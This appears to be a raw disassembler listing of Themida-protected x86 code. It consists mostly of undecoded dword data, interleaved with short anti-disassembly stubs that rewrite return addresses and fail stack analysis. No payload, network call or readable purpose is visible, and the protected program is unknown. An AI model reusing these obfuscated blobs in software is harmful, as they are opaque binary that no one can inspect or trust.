dd 4247489h, 4244481h, 19h, 2BC35646h, 0F55973F9h, 0B99D8B7Fh
dd 89061011h, 0B886h, 6A006A00h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 2D85C355h, 0F9D89C6h
dd 68Fh, 0C1BD2900h, 0FF06102Dh, 13C26DB5h, 89BD8B06h
dd 0FF061006h, 10049595h, 19BD2B06h, 5006102Dh, 89FA8B66h
dd 860F2434h, 19h, 12E960h, 0FDA60000h, 0A080C5BAh, 810E9CC0h
dd 95A09BCAh, 8608892Bh, 6DB5FF61h, 6A0613C2h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0EB75C352h, 8B425FE4h, 1011699Dh, 0B1BD8B06h, 0FF061009h
dd 10162D95h, 51BD8306h, 61013h, 2B840Fh, 0C7800000h, 0F6BF5072h
dd 895A6E84h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0D75D63C3h, 6DB5FF04h, 600613C2h
dd 965BD89h, 0F0BF0610h, 617FCDCAh, 0C1995FFh, 95890610h
dd 61030CDh, 0C26DB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0E4F2B9C3h, 6D5272C4h
dd 0E8F537B6h, 11h, 0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h
dd 0FE9D2h, 2C000000h, 8FCC74F5h, 867521E9h, 4C325779h
dd 0F525B43h, 525BDBBFh, 115DB589h, 0FF5B0610h, 10162195h
dd 0B3BB6606h, 89BD8355h, 206100Fh, 3D840Fh, 0BD890000h
dd 6102109h, 10C5858Bh, 0BB660610h, 0C649DDh, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 934A072Ah, 0A25CCD6Dh, 68BBBC68h, 0C77A1016h, 102A2585h
dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 0E6CABA60h, 88467B3Bh, 2ACD9D8Bh
dd 820F0610h, 4, 0B452BB66h, 0FFF3B9E9h, 50006AFFh, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 5B4097E8h, 6623FFD9h, 0C18BD88Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 28C35545h
db 39h, 78h
; ---------------------------------------------------------------------------
loc_59426E: ; CODE XREF: Themida_:005934DBj
lea eax, [ebp+61013B9h]
push 0
push ecx
call sub_59427F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59427F proc near ; CODE XREF: Themida_:00594277p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_59427F endp
; ---------------------------------------------------------------------------
xchg eax, edx
push 0FFFFFFE3h
lodsb
cdq
xchg eax, ecx
sbb [edx+42h], edx
movzx ebx, si
push eax
mov [esp], eax
jmp loc_5942AA
; ---------------------------------------------------------------------------
db 0CCh
; ---------------------------------------------------------------------------
retf 0BA78h
; ---------------------------------------------------------------------------
mov dl, 5Fh
loc_5942AA: ; CODE XREF: Themida_:0059429Fj
mov di, 0BFEBh
push 0
mov [ebp+6102065h], eax
push 0
mov bx, 0FD5Bh
mov ebx, esi
lea eax, [ebp+6148FC0h]
push 0
push ebp
call sub_5942CF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5942CF proc near ; CODE XREF: Themida_:005942C7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5942CF endp
; ---------------------------------------------------------------------------
xor eax, 0E8D59C3Dh
js short loc_594346
sub esi, [ebp+61011BDh]
mov di, bx
popa
mov [ebp+6100241h], eax
add eax, 5
adc di, 2FFAh
push eax
jmp loc_59430A
; ---------------------------------------------------------------------------
dd 27F86B07h
db 3Dh, 86h
; ---------------------------------------------------------------------------
loc_59430A: ; CODE XREF: Themida_:005942FFj
mov [esp], eax
push 0
push esi
call sub_594318
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594318 proc near ; CODE XREF: Themida_:00594310p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_594318 endp
; ---------------------------------------------------------------------------
dd 67B5A9B2h, 8B6E4679h, 1001119Dh, 0F006A06h, 6AD9B7h
dd 0FFD88B66h, 101D1995h
db 6, 1
; ---------------------------------------------------------------------------
loc_594346: ; CODE XREF: Themida_:005942E4j
test ds:8D061028h, edx
; ---------------------------------------------------------------------------
dd 13AFD88Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0A48A4109h, 0CC6CE185h, 0FD1FF87h
dd 0BD83DAB7h, 6102209h, 0A4850F01h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 6714C351h, 419D8B3Eh, 6606102Ah, 6AEF57BFh, 0D9B70F02h
dd 2890F90h, 8A000000h, 8B6650FEh, 6A90DEh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D6AC4AC3h
dd 480425ECh, 0FE889D2h, 4B000000h, 0A8904721h, 4201F8F5h
dd 3F200780h, 0FA8AD13Ah, 9595FF5Bh, 6A061004h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0C00BC353h, 0A7090291h, 298D8965h
; ---------------------------------------------------------------------------
adc dl, [eax]
push es
loc_59442B: ; DATA XREF: Themida_:0054B6ACo
jmp loc_59524A
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 6148FCAh
push 0
push edi
call sub_594447
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594447 proc near ; CODE XREF: Themida_:0059443Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_594447 endp
; ---------------------------------------------------------------------------
ror byte ptr [ebx+1030ADBDh], cl
push es
mov edi, 2EE61452h
lea eax, [ebp+61399B6h]
push 0
push edi
call sub_594474
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594474 proc near ; CODE XREF: Themida_:0059446Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_594474 endp
; ---------------------------------------------------------------------------
dd 0E9707A37h, 9E01FCFCh, 10E950h, 6B3E0000h, 0DF894861h
dd 0F6C2992Fh, 0CCDD5F65h, 4892286h, 4880F24h, 66000000h
dd 649298BBh, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 65DE6BC3h, 0A50910F7h
dd 0B9666041h, 61F86611h, 258964F5h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5944F3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5944F3 proc near ; CODE XREF: Themida_:005944EBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5944F3 endp
; ---------------------------------------------------------------------------
db 0E7h
dd 0AF7510D3h, 0FFFAB70Fh, 10141985h, 0D6F2BF06h, 0FF6A421Fh
dd 6E9h, 8EA21200h, 0FFDDA5DDh, 10232DB5h, 5800F06h, 0BB000000h
dd 5EFF1759h, 1E1BD2Bh, 95FF0610h, 6100615h, 115E9h, 0E900B000h
dd 0Dh, 0C2226798h, 67911F71h, 8C3A7055h, 2970E6F2h, 10169985h
dd 8971E406h, 1029798Dh, 0F613C06h, 0E983h, 20CB8000h
dd 89C8B60Fh, 101AD19Dh, 6BA06h, 0BD8B0000h, 6100735h
dd 0C18B97B3h, 0C141CB80h, 890F04E8h, 3, 66DBB70Fh, 0C82BE2F7h
dd 72EF8166h, 0FD18B40h, 68Dh, 0DD8D8900h, 0E906102Eh
dd 6, 5BD31h, 858B0610h, 6100989h, 0FE8h, 53C9200h, 1873E2D8h
dd 0F798EC6h, 36D1450Fh, 18B59529h, 895F0610h, 101CDDBDh
dd 7C08306h, 0AAC0BF66h, 6600C083h, 7818F781h, 830FD03Bh
dd 1Dh, 0FD952960h, 0E9061022h, 5, 0BE851BD3h, 47E9616Ch
dd 89000000h, 102061BDh, 758D8B06h, 0E9061028h, 8, 1864DB6h
dd 2105F7C0h, 0F01E183h, 2584h, 758D0900h, 83061031h, 102875A5h
dd 0BD8BFE06h, 6100949h, 9899589h, 8D0F0610h, 1, 0E9F9h
dd 0B58D0000h, 61413DDh, 0B55BD8Bh, 6A0610h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 78C35141h, 7E4054B6h
dd 0B5389C0Ah, 0FFD88B66h, 1031C995h, 45958906h, 0B9061008h
dd 798h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 21C35747h, 7019CF8Dh, 83F5C23Eh, 6AFCE1h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0CD72A1C3h, 3250C9BBh, 0BE8B57Fh, 52000000h, 5D5C7659h
dd 0F4FE446Ah, 0FC5F3F8Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 62C35545h, 29BDC5A9h, 102FE19Dh, 6AC02B06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 76E5C357h, 1128FE10h, 55B52988h, 2B061006h
dd 0CC4ABFD2h, 33AD3D8Ch, 3E8D1C2h, 4E983D0h, 6AF475h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 816D2FC3h, 7FE25FC3h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 0DDF8B38h, 88h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 85C35343h, 18860Fh
dd 13E90000h, 70000000h, 26100E9Dh, 0A720DFB4h, 65871D82h
dd 0DCAAFD16h, 0BB66C863h, 958B9317h, 61009F5h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A0C35646h, 2B5C64ACh
dd 0B589B996h, 6101619h, 0BBE78151h, 5F29D899h, 23198D8Bh
dd 0C7810610h, 577CECC6h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 95895818h, 61004FDh, 9E8h, 0AEC4A000h, 0D869961Bh
dd 895F2536h, 1010C19Dh, 29BD8306h, 6101Eh, 84840Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 7B2818C3h, 2198B23Dh, 0B3DF3856h, 0B822h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0DBCAC1C3h, 167B6B88h, 8D8DFE8Bh, 6104E85h, 0B973BB66h
dd 29A19D29h, 0E1FF0610h, 10E8h, 0E807F800h, 0AD642B7Ah
dd 45685121h, 95A41A84h, 0CD9D3387h, 5B06100Eh, 0D9589h
dd 0BD830610h, 61022C1h, 28840F00h, 29000004h, 102D5185h
dd 0C1BD8306h, 1061022h, 430840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 30E85DC3h
dd 0E9FBBF0Fh, 12h, 0BFD479C5h, 7CA0AC1Ch, 9B372C1Ah, 96711B1Fh
dd 0BD833A77h, 61022C1h, 0B5860F03h, 0E9000003h, 8, 948BA73Fh
dd 0C029F67Eh, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 78C801BEh, 66A4B3A8h
dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 9D8B06C3h, 6102771h, 1D31BD0Bh, 0E1800610h
dd 9E904h, 0A6E40000h, 0A800A606h, 0AC62D85h, 0CA840FC9h
dd 0F000000h, 858BF9B7h, 6102185h, 0EB5BD0Bh, 85330610h
dd 61011FDh, 0C319D89h, 8B500610h, 240489D9h, 0A000BB66h
dd 6ADAB70Fh, 7D8D3100h, 68061023h, 56AC3FECh, 4880Fh
dd 0BB660000h, 3481BD9Fh, 0B33C1324h, 0D595FF56h, 6A061005h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 225EC357h, 6AC66C53h, 0F6446DFh, 687h, 0DB50900h
dd 8906100Fh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 94290271h, 0B4330D74h
dd 0E9F8B98Ah, 211h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0BFC35141h, 65858B27h, 6A0613C2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0C877C356h, 71C17F1Eh, 14E95Ch, 22940000h, 40E66161h
dd 3C2B12D0h, 0B8462BECh, 571AA9E1h, 0C7B4DDh, 18h, 0C269B58Bh
dd 8BF80613h, 100E2585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 2BD91F29h, 0FE9ADFDh
dd 25000000h, 0A415E232h, 7C867Eh, 15AC5FAEh, 689A6CEh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ACC35747h
dd 858BFB46h, 6102185h, 21DD8529h, 46890610h, 52006A04h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 6051D879h, 0EB5B533h, 0B58B0610h, 6102ED9h, 89505F61h
dd 0BD8B2434h, 6101C0Dh, 0C265B5FFh, 6A0613h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 522412C3h
dd 60528ABFh, 7319D89h, 8A0F0610h, 6, 2D699D8Bh, 0BB610610h
dd 34896301h, 4E8h, 1F03FF00h, 5059B700h, 8830Fh, 850F0000h
dd 2, 448B5F57h, 1BB0424h, 8B54A325h, 89D88B00h, 58042444h
dd 6D858DF9h, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0E13AC357h, 0FB20231Bh
dd 29052FBBh, 348DB589h, 0F500610h, 505FDFBFh, 0DE9h, 0AC8D2C00h
dd 19EAC323h, 0B3062DC5h, 48965D5h, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 969CE869h
dd 89284FB4h, 100B9D9Dh, 0D595FF06h, 6A061005h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0D78EC351h, 6A613Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 923EC0C3h, 0AA913888h, 2D819D23h
dd 8B660610h, 519D31DFh, 0C7061000h, 1022C185h, 306h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0B45F0641h, 9D8B1406h, 6100E8Dh, 0C26DBD83h, 0F000613h
dd 1384h, 3830F00h, 66000000h, 20E9DA8Bh, 66000000h, 0B780F781h
dd 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0AAB0C351h, 0B4ED21F1h, 0F18D891Ch, 66061018h, 6A7F73BBh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0F513C355h, 898D0360h, 66061015h, 8CD7D081h
dd 0C1BD8361h, 3061022h, 42F850Fh, 81660000h, 83D81AEFh
dd 13C26DBDh, 840F0006h, 41Dh, 0B5FFD98Bh, 613C26Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B2C35747h, 2FA595FFh
dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0B59AFEC3h, 0BD8BD08Ah, 6102829h, 0C261B58Bh
dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0BE86EC3h, 0AD000000h, 79B583CBh, 0B4E20B64h
dd 8951413Bh, 101D11B5h, 0C75F5F06h, 1000106h, 4ABB6600h
dd 45BD89FEh, 96061006h, 2820Fh, 5B520000h, 965B5750h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E0C35040h
dd 0AE8h, 0D4F0ED00h, 0BBD0DFA4h, 0E99F04E2h, 14h, 8E64B6C8h
dd 5F335E2Fh, 0E1E94FDBh, 0F43F9A28h, 4E20F059h, 6DB5FF5Bh
dd 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 7C5C357h, 78920EAFh, 0BD2B05B2h
dd 6101339h, 0D6B70F60h, 944318B9h, 95FF615Bh, 6101225h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B5C35040h
dd 0BD8BFAAEh, 6101929h, 0C261B58Bh, 8D010613h, 6103061h
dd 0BE9h, 0D1122600h, 0A1DCF065h, 1121EDBCh, 21D1858Bh
dd 95290610h, 61006F5h, 0C48689h
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_594F42 proc near ; DATA XREF: ___:off_438C78o
pusha
cmc
popa
mov edx, [ebp+61009F5h]
push 0
push eax
call sub_594F56
and [eax-3Dh], bl
sub_594F42 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_594F56 proc near ; CODE XREF: sub_594F42+Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_594F56 endp
; ---------------------------------------------------------------------------
and [ebp+32h], bh
stosb
jnp short loc_594FA3
mov al, ds:8341B011h
retn 8B04h
; ---------------------------------------------------------------------------
mov ebp, 61011F9h
jmp loc_594F90
; ---------------------------------------------------------------------------
dw 0BB44h
dd 628C4AE6h, 30227D90h, 2159806h, 0C4D1E365h
; ---------------------------------------------------------------------------
loc_594F90: ; CODE XREF: Themida_:00594F79j
mov [eax+20h], edx
push 0
push edx
call sub_594F9E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594F9E proc near ; CODE XREF: Themida_:00594F96p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
loc_594FA3: ; CODE XREF: Themida_:00594F6Aj
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_594F9E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
das
daa
or bl, [ebx-247FC220h]
cwde
lea eax, [ebp+613D7C2h]
push 0
push edi
call sub_594FC8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594FC8 proc near ; CODE XREF: Themida_:00594FC0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_594FC8 endp
; ---------------------------------------------------------------------------
pop ebp
xor eax, 0C9ADBCE1h
and al, [ebx+ecx*4]
popf
mov ch, 1Bh
adc [esi], al
mov ebx, 2837AA64h
mov [esi+0B8h], eax
push 0
push ecx
call sub_594FFC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594FFC proc near ; CODE XREF: Themida_:00594FF4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_594FFC endp
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
test [edi-3A72761Eh], al
adc edx, [eax]
push es
mov ebx, 34B7BC6Ah
push 0
mov ebx, ecx
push dword ptr [ebp+613C26Dh]
mov [ebp+6100BC1h], ecx
call dword ptr [ebp+6100495h]
sub [ebp+6100779h], edi
and bx, 4043h
push eax
mov bx, cx
mov [esp], esi
push 0
push edx
call sub_59504E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59504E proc near ; CODE XREF: Themida_:00595046p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_59504E endp
; ---------------------------------------------------------------------------
dw 5E6Eh
; ---------------------------------------------------------------------------
cmp al, 0FFh
mov ch, 6Dh
retn 613h
; ---------------------------------------------------------------------------
db 80h
dd 6E841F7h, 8B000000h, 0B2B66E9Eh, 0D88B6683h, 2D95FF5Fh
dd 8B061016h, 51BD83F8h, 61013h, 3C840Fh, 0BF0F0000h, 89BB66D8h
dd 0BE850F7h, 71000000h, 4626B26Bh, 464C47CDh, 895BCE1Bh
dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0C6C4F8C3h, 0B5FF9BF2h, 613C26Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F6C35141h, 0F58EC112h
dd 95FFDA8Bh, 6100C19h, 20B9BD8Bh, 0DE8B0610h, 0C26DB5FFh
dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 16CDAFC3h, 9E375955h, 0EE8h, 0C6E15F00h
dd 10E36EB5h, 14F28965h, 51DECCF5h, 0F0F38166h, 0FF5B5BF9h
dd 10162195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 0AC6B7BCEh, 3A4EAE01h, 0DD9D8BFAh
dd 83061009h, 100F89BDh, 840F0206h, 51h, 18B9BD8Bh, 858B0610h
dd 61010C5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 87C35040h, 0CDBCEF0h, 95893913h, 6100F09h, 0F80000C6h
dd 0DE8h, 0C247B300h, 41841A64h, 0BA479BFFh, 0E78191C7h
dd 1E696DFBh, 2585C75Fh, 6102Ah, 9000000h, 1009018Dh, 0F330E906h
dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0E2E6E3C3h, 890F5681h, 0Ch, 6840Fh, 95890000h
dd 61012B1h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0A41DE1C3h, 6051D2C6h, 0F74C180h
dd 8Ah, 665F6100h
; ---------------------------------------------------------------------------
mov ebx, edx
loc_59524A: ; CODE XREF: Themida_:loc_59442Bj
lea eax, [ebp+61013B9h]
jmp loc_59525D
; ---------------------------------------------------------------------------
db 0FEh, 9, 0ABh
dd 0A71414D3h
db 0C6h
; ---------------------------------------------------------------------------
loc_59525D: ; CODE XREF: Themida_:00595250j
push eax
call sub_595268
jz short loc_5952CE
sahf
jl short loc_5952E0
; =============== S U B R O U T I N E =======================================
sub_595268 proc near ; CODE XREF: Themida_:0059525Ep
arg_0 = dword ptr 4
mov bx, si
pop edi
mov [esp-4+arg_0], eax
jmp loc_595282
; ---------------------------------------------------------------------------
dd 0ACDBAE84h, 298CD51h, 0AD27E80Ah
db 0D2h, 7Ch
; ---------------------------------------------------------------------------
loc_595282: ; CODE XREF: sub_595268+7j
push 0
push 0
push eax
call sub_59528F
and [eax-3Dh], bl
sub_595268 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59528F proc near ; CODE XREF: sub_595268+1Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_59528F endp
; ---------------------------------------------------------------------------
icebp
les ebp, [ecx]
setalc
inc edi
punpckhdq mm0, qword ptr [eax]
push 0
push eax
call sub_5952B2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5952B2 proc near ; CODE XREF: Themida_:005952AAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5952B2 endp
; ---------------------------------------------------------------------------
dw 0F637h
; ---------------------------------------------------------------------------
inc eax
sar cl, 8Dh
test [eax+6A06149Fh], esp
loc_5952CE: ; CODE XREF: Themida_:00595263j
add [ebp-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
db 0
dd 0C35D2000h, 246C895Dh, 24448104h
; ---------------------------------------------------------------------------
loc_5952E0: ; CODE XREF: Themida_:00595266j
add al, 1Ah
; ---------------------------------------------------------------------------
dw 0
dd 0C3554500h, 8488EEBAh, 89173E3Fh, 101FADBDh, 0CBD38106h
dd 8365F715h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 7A2154C3h, 294E4E3Ah, 10348D9Dh
dd 8D0F5006h, 5, 78A6B0BBh, 24048971h, 6A006Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 2AFB81C3h, 0A3A67B5Bh, 6AF533h, 1D1995FFh, 6A0610h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 61D750C3h, 9D8BB4FCh, 6100B09h, 0AFD88D8Dh, 0F88B0613h
dd 0F270F781h, 0D1FF4E32h, 31C58D31h, 9D030610h, 6101CADh
dd 2209BD83h, 0F010610h, 5A85h, 2F6BF00h, 26A0385h, 0AE9h
dd 0BFD9100h, 161B2E85h, 6601FE1Bh, 1B09F781h, 0FE950h
dd 54670000h, 4E331F03h, 0F45940A5h, 4E3F5443h, 240489F9h
dd 9595FFF8h, 6A061004h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0FE8FC353h, 0E9D5F780h
dd 0DBEh, 0E8h, 0ED815D00h, 6149FAAh, 14359D33h, 81660610h
dd 81C720D7h, 933610D3h, 3850F20h, 0F000000h, 858DFFB7h
dd 61399B6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0ADC35545h, 30A19D8Bh, 8F0F0610h, 0Bh, 45C38160h
dd 8002A126h, 50618FC1h, 6A240489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9CACC357h
dd 8E83Ah, 58230000h, 0BDF567F1h, 0EE8C9EEh, 0CF000000h
dd 3D95FA85h, 4BB669BCh, 79E2AEADh, 0B6BF662Bh, 645B5BB4h
dd 35FFh, 800F0000h, 2, 8964DE8Ah, 25h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 1BB06BDFh, 9D8B2680h, 6102FD1h, 1985FFF8h, 6A061014h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0FCECC357h, 0FF6AF88Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 55C35747h, 0CDB5FFh, 6A0610h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0B537F6C3h, 9D893325h, 61012F9h, 0FFD88B66h, 10061595h
dd 0FFE906h, 0C9B30000h, 10E800B0h, 56000000h, 0B731C262h
dd 8A4EBED7h, 73C8321Bh, 0F6F5B7Eh, 8B5FFEB7h, 0F970E6DAh
dd 9DBB71E4h, 0F3C4B3Bh, 0C81h, 7E900h, 481F0000h, 0D7B183E7h
dd 0F613CC8h, 0BC83h, 68F0F00h, 89000000h, 100B5585h, 0C8B60F06h
dd 6BAh, 66C18B00h, 0E8C1F88Bh, 3810F04h, 66000000h, 0F766FE8Bh
dd 198D29E2h, 2B061006h, 558509C8h, 8B061006h, 6E9D1h
dd 0BD890000h, 6100169h, 2D49858Bh, 5E80610h, 85000000h
dd 28BB5A5h, 1FC19531h, 335F0610h, 10063D9Dh, 7C08306h
dd 1FD9D8Bh, 0C0830610h, 0F7CB8100h, 3B6F7492h, 12830FD0h
dd 0F8000000h, 20159D8Bh, 36E90610h, 29000000h, 1029A9BDh
dd 0A58D8B06h, 6606100Bh, 0E183F98Bh, 1E840F01h, 23000000h
dd 1005859Dh, 0A5A58306h, 0FE06100Bh, 89F9B70Fh, 102D4995h
dd 0A0EB8006h, 0E9h, 86B58D00h, 0F06141Dh, 688h, 0A98D8900h
dd 6A061014h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 1ED78047h, 31C995FFh, 9D8B0610h
dd 610010Dh, 8B2B9h, 83D88A00h, 6AFCE1h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C3479AC3h
dd 5B2D98AEh, 0B818589h, 0FFC0610h, 58Ch, 63FFBB00h, 0C02B6877h
dd 14E9h, 0DFA21D00h, 63D7420Eh, 0EA206C95h, 51A88CF8h
dd 0B0EB8191h, 0BA9Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 2B5F03C3h, 1F5D1B0Bh
dd 8B0F92EDh, 2Ah, 0BE8h, 3A045F00h, 0AA9F0D28h, 80AE1BE6h
dd 14E9h, 81270C00h, 9791EFA1h, 0CF306183h, 13F429A2h
dd 0ECFEEC41h, 33AD5B8Dh, 3E8D1C2h, 4E983D0h, 6AF475h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
